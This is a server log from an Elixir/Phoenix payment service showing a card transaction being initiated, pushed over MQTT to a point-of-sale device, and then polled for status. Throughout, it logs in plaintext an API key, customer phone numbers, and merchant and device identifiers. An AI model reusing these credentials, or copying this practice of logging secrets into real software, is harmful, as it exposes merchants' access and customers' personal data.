[Fri Sep  4 10:51:56.025000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=ch565596372156_20260904105129902
[Fri Sep  4 10:53:26.414000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received ACK for merchant pFppbioOCKlo5c8E, device 98251226730002 with payload: {"request_id" : "ch565596372156_20260904105224178","money": "600.0", "status": "SUCCESS" }
[Fri Sep  4 10:53:26.414000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Received OTA update for device 98251226730002 with request_id ch565596372156_20260904105224178: %{"money" => "600.0", "request_id" => "ch565596372156_20260904105224178", "status" => "SUCCESS"}
[Fri Sep  4 10:53:26.414000 2026] [DaProductApp.MQTT.Handler:info] [pid 2816631] [client -] Status for request_id ch565596372156_20260904105224178 is success
[Fri Sep  4 10:53:26.416000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="cloud_transaction" db=1.4ms queue=0.1ms idle=1264.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE ((c0.`transaction_ref_number` = ?) AND (c0.`device_id` = ?)) ["ch565596372156_20260904105224178", "98251226730002"]
↳ DaProductApp.MQTT.Handler.handle_message/3, at: lib/da_product_app/mqtt/handler.ex:52
[Fri Sep  4 10:53:26.416000 2026] [DaProductApp.MQTT.Handler:warn] [pid 2816631] [client -] No transaction found with transaction_ref_number=ch565596372156_20260904105224178
[Fri Sep  4 10:56:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1531.6ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Fri Sep  4 10:58:26.875000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:42692] POST /api/device/initiate
[Fri Sep  4 10:58:26.875000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:42692] Processing with DaProductAppWeb.DeviceInitiateController.initiate/2
  Parameters: %{"accountLabel" => "", "amount" => "1250", "appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch138604284389", "externalRefNumber2" => "TXN-20260904-837268", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "33S12622000139"}, "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:58:26.876000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:42692] Processing card transaction for reference: ch138604284389
[Fri Sep  4 10:58:26.877000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:42692] QUERY OK source="users" db=0.7ms queue=0.1ms idle=1695.1ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["FRESH & FAIR EXPRESS SUPERMARKET LLC"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 10:58:26.878000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:42692] QUERY OK source="custom_events" db=1.0ms queue=0.2ms idle=1696.2ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["initiate_card_txn_request"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 10:58:26.879000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 3.7.175.126:42692] Attempting to store custom event log:
Event ID: 35
Event Name: "Initiate Card Txn Request"
Event Value: "initiate_card_txn_request"
Reference ID: "ch138604284389"
Payload: %{
  username: "FRESH & FAIR EXPRESS SUPERMARKET LLC",
  amount: 1250,
  account_label: "",
  app_key: "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv",
  customer_mobile_number: "971501234567",
  external_ref_number: "ch138604284389",
  external_ref_number_2: "TXN-20260904-837268",
  external_ref_number_4: "",
  external_ref_numbers: "",
  push_to: %{"deviceId" => "33S12622000139"}
}

[Fri Sep  4 10:58:26.879000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 3.7.175.126:42692] Prepared attributes for custom event log: %{
  payload: %{
    username: "FRESH & FAIR EXPRESS SUPERMARKET LLC",
    amount: 1250,
    account_label: "",
    app_key: "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv",
    customer_mobile_number: "971501234567",
    external_ref_number: "ch138604284389",
    external_ref_number_2: "TXN-20260904-837268",
    external_ref_number_4: "",
    external_ref_numbers: "",
    push_to: %{"deviceId" => "33S12622000139"}
  },
  event_name: "Initiate Card Txn Request",
  refrence_id: "ch138604284389",
  transaction_id: nil,
  date_added: ~U[2026-09-04 10:58:26.879171Z],
  event_id: 35,
  event_value: "initiate_card_txn_request"
}
[Fri Sep  4 10:58:26.879000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 3.7.175.126:42692] Creating custom event log with attributes: %{payload: %{username: "FRESH & FAIR EXPRESS SUPERMARKET LLC", amount: 1250, account_label: "", app_key: "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", customer_mobile_number: "971501234567", external_ref_number: "ch138604284389", external_ref_number_2: "TXN-20260904-837268", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "33S12622000139"}}, event_name: "Initiate Card Txn Request", refrence_id: "ch138604284389", transaction_id: nil, date_added: ~U[2026-09-04 10:58:26.879171Z], event_id: 35, event_value: "initiate_card_txn_request"}
[Fri Sep  4 10:58:26.912000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:42692] QUERY OK db=32.2ms queue=0.3ms idle=1698.6ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "FRESH & FAIR EXPRESS SUPERMARKET LLC", amount: 1250, account_label: "", app_key: "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", customer_mobile_number: "971501234567", external_ref_number: "ch138604284389", external_ref_number_2: "TXN-20260904-837268", external_ref_number_4: "", external_ref_numbers: "", push_to: %{"deviceId" => "33S12622000139"}}, "Initiate Card Txn Request", "ch138604284389", ~U[2026-09-04 10:58:26Z], 35, "initiate_card_txn_request", ~N[2026-09-04 10:58:26], ~N[2026-09-04 10:58:26]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 10:58:26.912000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 3.7.175.126:42692] Successfully created custom event log with ID: 40282
[Fri Sep  4 10:58:26.913000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:42692] Handling card transaction:
- Reference: ch138604284389
- Amount: 1250
- Params: %{"accountLabel" => "", "amount" => "1250", "appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch138604284389", "externalRefNumber2" => "TXN-20260904-837268", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "33S12622000139"}, "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}

[Fri Sep  4 10:58:26.914000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:42692] QUERY OK source="users" db=0.9ms idle=1732.6ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["FRESH & FAIR EXPRESS SUPERMARKET LLC"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 10:58:26.916000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:42692] QUERY OK source="custom_events" db=1.3ms idle=1733.7ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_device_online_status"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 10:58:26.916000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 3.7.175.126:42692] Attempting to store custom event log:
Event ID: 36
Event Name: "Response From Device Online Status"
Event Value: "response_from_device_online_status"
Reference ID: "ch138604284389"
Payload: %{
  status: "online",
  username: "FRESH & FAIR EXPRESS SUPERMARKET LLC",
  ts: 1788519506,
  device_id: "33S12622000139",
  amount: 1250
}

[Fri Sep  4 10:58:26.916000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 3.7.175.126:42692] Prepared attributes for custom event log: %{
  payload: %{
    status: "online",
    username: "FRESH & FAIR EXPRESS SUPERMARKET LLC",
    ts: 1788519506,
    device_id: "33S12622000139",
    amount: 1250
  },
  event_name: "Response From Device Online Status",
  refrence_id: "ch138604284389",
  transaction_id: nil,
  date_added: ~U[2026-09-04 10:58:26.916893Z],
  event_id: 36,
  event_value: "response_from_device_online_status"
}
[Fri Sep  4 10:58:26.917000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 3.7.175.126:42692] Creating custom event log with attributes: %{payload: %{status: "online", username: "FRESH & FAIR EXPRESS SUPERMARKET LLC", ts: 1788519506, device_id: "33S12622000139", amount: 1250}, event_name: "Response From Device Online Status", refrence_id: "ch138604284389", transaction_id: nil, date_added: ~U[2026-09-04 10:58:26.916893Z], event_id: 36, event_value: "response_from_device_online_status"}
[Fri Sep  4 10:58:26.960000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:42692] QUERY OK db=42.6ms idle=1422.6ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{status: "online", username: "FRESH & FAIR EXPRESS SUPERMARKET LLC", ts: 1788519506, device_id: "33S12622000139", amount: 1250}, "Response From Device Online Status", "ch138604284389", ~U[2026-09-04 10:58:26Z], 36, "response_from_device_online_status", ~N[2026-09-04 10:58:26], ~N[2026-09-04 10:58:26]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 10:58:26.960000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 3.7.175.126:42692] Successfully created custom event log with ID: 40283
[Fri Sep  4 10:58:26.960000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:42692] Publish payload 33S12622000139: "{\"type\":\"card\",\"request_id\":\"ch138604284389\",\"amount\":125000,\"phone\":\"93437121736\",\"terminalid\":\"90080005\"}"
[Fri Sep  4 10:58:27.023000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:42692] QUERY OK db=61.8ms queue=0.4ms idle=718.8ms
INSERT INTO `cloud_transaction` (`status`,`payload`,`email`,`device_id`,`transaction_ref_number`,`provider_id`,`transaction_amount`,`additional_data`,`user_id`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?,?,?,?) ["pending", %{"accountLabel" => "", "amount" => "1250", "appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "customerMobileNumber" => "971501234567", "externalRefNumber" => "ch138604284389", "externalRefNumber2" => "TXN-20260904-837268", "externalRefNumber4" => "", "externalRefNumbers" => "", "provider" => 11, "pushTo" => %{"deviceId" => "33S12622000139"}, "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}, "ch_a75f9695af93@mercurypay.in", "33S12622000139", "ch138604284389", 4, Decimal.new("1250"), %{}, "1", ~N[2026-09-04 10:58:26], ~N[2026-09-04 10:58:26]]
↳ DaProductAppWeb.DeviceInitiateController.do_handle_card_txn/3, at: lib/da_product_app_web/controllers/device_initiate_controller.ex:328
[Fri Sep  4 10:58:27.024000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:42692] QUERY OK source="users" db=0.4ms idle=526.5ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["FRESH & FAIR EXPRESS SUPERMARKET LLC"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 10:58:27.025000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:42692] QUERY OK source="custom_events" db=0.8ms idle=374.0ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["request_for_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 10:58:27.026000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 3.7.175.126:42692] Attempting to store custom event log:
Event ID: 37
Event Name: "Request For Publish Txn"
Event Value: "request_for_publish_txn"
Reference ID: "ch138604284389"
Payload: %{
  username: "FRESH & FAIR EXPRESS SUPERMARKET LLC",
  topic: "/ota/pFppbioOCKlo5c8E/33S12622000139/update, ota/pos/12345678/33S12622000139/sub",
  ts: 1788519507,
  qos: 1,
  device_id: "33S12622000139",
  amount: 1250
}

[Fri Sep  4 10:58:27.026000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 3.7.175.126:42692] Prepared attributes for custom event log: %{
  payload: %{
    username: "FRESH & FAIR EXPRESS SUPERMARKET LLC",
    topic: "/ota/pFppbioOCKlo5c8E/33S12622000139/update, ota/pos/12345678/33S12622000139/sub",
    ts: 1788519507,
    qos: 1,
    device_id: "33S12622000139",
    amount: 1250
  },
  event_name: "Request For Publish Txn",
  refrence_id: "ch138604284389",
  transaction_id: nil,
  date_added: ~U[2026-09-04 10:58:27.026324Z],
  event_id: 37,
  event_value: "request_for_publish_txn"
}
[Fri Sep  4 10:58:27.026000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 3.7.175.126:42692] Creating custom event log with attributes: %{payload: %{username: "FRESH & FAIR EXPRESS SUPERMARKET LLC", topic: "/ota/pFppbioOCKlo5c8E/33S12622000139/update, ota/pos/12345678/33S12622000139/sub", ts: 1788519507, qos: 1, device_id: "33S12622000139", amount: 1250}, event_name: "Request For Publish Txn", refrence_id: "ch138604284389", transaction_id: nil, date_added: ~U[2026-09-04 10:58:27.026324Z], event_id: 37, event_value: "request_for_publish_txn"}
[Fri Sep  4 10:58:27.081000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:42692] QUERY OK db=54.1ms queue=0.7ms idle=289.9ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{username: "FRESH & FAIR EXPRESS SUPERMARKET LLC", topic: "/ota/pFppbioOCKlo5c8E/33S12622000139/update, ota/pos/12345678/33S12622000139/sub", ts: 1788519507, qos: 1, device_id: "33S12622000139", amount: 1250}, "Request For Publish Txn", "ch138604284389", ~U[2026-09-04 10:58:27Z], 37, "request_for_publish_txn", ~N[2026-09-04 10:58:27], ~N[2026-09-04 10:58:27]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 10:58:27.082000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 3.7.175.126:42692] Successfully created custom event log with ID: 40284
[Fri Sep  4 10:58:27.082000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:42692] Published successfully to topic1: /ota/pFppbioOCKlo5c8E/33S12622000139/update with ref: #Reference<0.2525715032.1075838979.93682>
[Fri Sep  4 10:58:27.082000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:42692] Published successfully to topic2: ota/pos/12345678/33S12622000139/sub with ref: #Reference<0.2525715032.1075838979.93694>
[Fri Sep  4 10:58:27.084000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:42692] QUERY OK source="users" db=0.5ms idle=206.6ms
SELECT u0.`id`, u0.`email`, u0.`hashed_password`, u0.`confirmed_at`, u0.`role`, u0.`name`, u0.`first_name`, u0.`last_name`, u0.`data`, u0.`inserted_at`, u0.`updated_at` FROM `users` AS u0 WHERE (u0.`email` = ?) ["FRESH & FAIR EXPRESS SUPERMARKET LLC"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:160
[Fri Sep  4 10:58:27.085000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:42692] QUERY OK source="custom_events" db=0.5ms idle=206.1ms
SELECT c0.`id`, c0.`is_published`, c0.`date_added`, c0.`created_by`, c0.`created_by_user`, c0.`date_modified`, c0.`modified_by`, c0.`modified_by_user`, c0.`checked_out`, c0.`checked_out_by`, c0.`checked_out_by_user`, c0.`name`, c0.`alias`, c0.`payloads`, c0.`idgoal`, c0.`discription`, c0.`inserted_at`, c0.`updated_at` FROM `custom_events` AS c0 WHERE (c0.`alias` = ?) ["response_from_publish_txn"]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event/2, at: lib/da_product_app_web/services/event_logger.ex:163
[Fri Sep  4 10:58:27.086000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 3.7.175.126:42692] Attempting to store custom event log:
Event ID: 38
Event Name: "Response From Publish Txn"
Event Value: "response_from_publish_txn"
Reference ID: "ch138604284389"
Payload: %{
  error: nil,
  status: "success",
  username: "FRESH & FAIR EXPRESS SUPERMARKET LLC",
  topic: "/ota/pFppbioOCKlo5c8E/33S12622000139/update, ota/pos/12345678/33S12622000139/sub",
  ts: 1788519507,
  device_id: "33S12622000139",
  amount: 1250
}

[Fri Sep  4 10:58:27.086000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 3.7.175.126:42692] Prepared attributes for custom event log: %{
  payload: %{
    error: nil,
    status: "success",
    username: "FRESH & FAIR EXPRESS SUPERMARKET LLC",
    topic: "/ota/pFppbioOCKlo5c8E/33S12622000139/update, ota/pos/12345678/33S12622000139/sub",
    ts: 1788519507,
    device_id: "33S12622000139",
    amount: 1250
  },
  event_name: "Response From Publish Txn",
  refrence_id: "ch138604284389",
  transaction_id: nil,
  date_added: ~U[2026-09-04 10:58:27.086116Z],
  event_id: 38,
  event_value: "response_from_publish_txn"
}
[Fri Sep  4 10:58:27.086000 2026] [DaProductApp.Activity.CustomEventsLog:info] [pid 2816631] [client 3.7.175.126:42692] Creating custom event log with attributes: %{payload: %{error: nil, status: "success", username: "FRESH & FAIR EXPRESS SUPERMARKET LLC", topic: "/ota/pFppbioOCKlo5c8E/33S12622000139/update, ota/pos/12345678/33S12622000139/sub", ts: 1788519507, device_id: "33S12622000139", amount: 1250}, event_name: "Response From Publish Txn", refrence_id: "ch138604284389", transaction_id: nil, date_added: ~U[2026-09-04 10:58:27.086116Z], event_id: 38, event_value: "response_from_publish_txn"}
[Fri Sep  4 10:58:27.123000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:42692] QUERY OK db=36.4ms idle=174.9ms
INSERT INTO `custom_event_log` (`payload`,`event_name`,`refrence_id`,`date_added`,`event_id`,`event_value`,`inserted_at`,`updated_at`) VALUES (?,?,?,?,?,?,?,?) [%{error: nil, status: "success", username: "FRESH & FAIR EXPRESS SUPERMARKET LLC", topic: "/ota/pFppbioOCKlo5c8E/33S12622000139/update, ota/pos/12345678/33S12622000139/sub", ts: 1788519507, device_id: "33S12622000139", amount: 1250}, "Response From Publish Txn", "ch138604284389", ~U[2026-09-04 10:58:27Z], 38, "response_from_publish_txn", ~N[2026-09-04 10:58:27], ~N[2026-09-04 10:58:27]]
↳ DaProductAppWeb.Services.EventLogger.store_custom_event_log/6, at: lib/da_product_app_web/services/event_logger.ex:213
[Fri Sep  4 10:58:27.124000 2026] [DaProductAppWeb.Services.EventLogger:info] [pid 2816631] [client 3.7.175.126:42692] Successfully created custom event log with ID: 40285
[Fri Sep  4 10:58:27.124000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:42692] Publish successful to 33S12622000139 with ref: #Reference<0.2525715032.1075838979.93694>
[Fri Sep  4 10:58:27.124000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:42692] Sent 200 in 249ms
[Fri Sep  4 10:58:33.122000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:50908] POST /api/device/status
[Fri Sep  4 10:58:33.122000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:50908] Processing with DaProductAppWeb.DeviceInitiateController.status/2
  Parameters: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
  Pipelines: [:api]
[Fri Sep  4 10:58:33.122000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:50908] Status request params: %{"appKey" => "Wkr6SOfin2xwcNtb34MXtnlCeCdyedlv", "transaction_ref_number" => "ch138604284389", "txnType" => "card", "username" => "FRESH & FAIR EXPRESS SUPERMARKET LLC"}
[Fri Sep  4 10:58:33.123000 2026] [DaProductAppWeb.DeviceInitiateController:info] [pid 2816631] [client 3.7.175.126:50908] Transaction reference number: "ch138604284389"
[Fri Sep  4 10:58:33.140000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:50908] QUERY OK source="pos_transaction" db=17.2ms idle=942.2ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`hash_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:199
[Fri Sep  4 10:58:33.145000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:50908] QUERY OK source="pos_temp_transaction" db=3.4ms idle=960.9ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`status`, p0.`metadata`, p0.`order_number` FROM `pos_temp_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:203
[Fri Sep  4 10:58:33.152000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:50908] QUERY OK source="pos_failed_transaction" db=6.2ms idle=964.7ms
SELECT p0.`id`, p0.`s_txn_type`, p0.`s_tid`, p0.`s_mid`, p0.`s_tid_stan`, p0.`s_tid_invoiceno`, p0.`s_tid_batchno`, p0.`b_tid`, p0.`b_mid`, p0.`acquirer_id`, p0.`b_tid_stan`, p0.`b_tid_invoiceno`, p0.`b_tid_batchno`, p0.`b_tid_date`, p0.`b_tid_time`, p0.`entry_mode`, p0.`condition_code`, p0.`currency_code`, p0.`mti`, p0.`proc_code`, p0.`total_amount`, p0.`auth_amount`, p0.`cash_amount`, p0.`tip_amount`, p0.`approval_code`, p0.`reference_no`, p0.`response_code`, p0.`response_message`, p0.`mcc_code`, p0.`encrypted_track2`, p0.`encrypted_pan`, p0.`masked_card_no`, p0.`encrypted_expiry`, p0.`pan_seq`, p0.`emv_data`, p0.`acquirer_reference_no`, p0.`scheme_reference_no`, p0.`created_dateTime`, p0.`updated_dateTime`, p0.`metadata`, p0.`order_number` FROM `pos_failed_transaction` AS p0 WHERE (p0.`order_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnStatus.status_by_pos_transaction/2, at: lib/da_product_app_web/services/device_txn_status.ex:207
[Fri Sep  4 10:58:33.153000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client 3.7.175.126:50908] QUERY OK source="cloud_transaction" db=1.1ms queue=0.1ms idle=971.2ms
SELECT c0.`id`, c0.`uhid`, c0.`email`, c0.`mobile_no`, c0.`processing_id`, c0.`uname`, c0.`user_id`, c0.`pay_mode`, c0.`location_id`, c0.`transaction_location`, c0.`credentials_user`, c0.`credentials_key`, c0.`version`, c0.`return_url`, c0.`response_url`, c0.`status`, c0.`transaction_id`, c0.`transaction_amount`, c0.`transaction_ref_number`, c0.`m_ref_num`, c0.`name`, c0.`provider_id`, c0.`device_id`, c0.`merchant_id`, c0.`payment_reference_id`, c0.`additional_data`, c0.`payload`, c0.`settlement_date_time`, c0.`refund_reference_id`, c0.`provider_name`, c0.`acknoledgment`, c0.`inserted_at`, c0.`updated_at` FROM `cloud_transaction` AS c0 WHERE (c0.`transaction_ref_number` = ?) ["ch138604284389"]
↳ DaProductAppWeb.Services.DeviceTxnContext.cloud_txn_time/1, at: lib/da_product_app_web/services/device_txn_context.ex:140
[Fri Sep  4 10:58:33.154000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:50908] Sent 200 in 31ms
[Fri Sep  4 10:58:38.113000 2026] [Phoenix.Logger:info] [pid 2816631] [client 3.7.175.126:50922] POST /api/device/status
[Fri Sep  4 10:58:38.114000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 3.7.175.126:50922] Processing with DaProductAppWeb.DeviceInitiateController.status/2
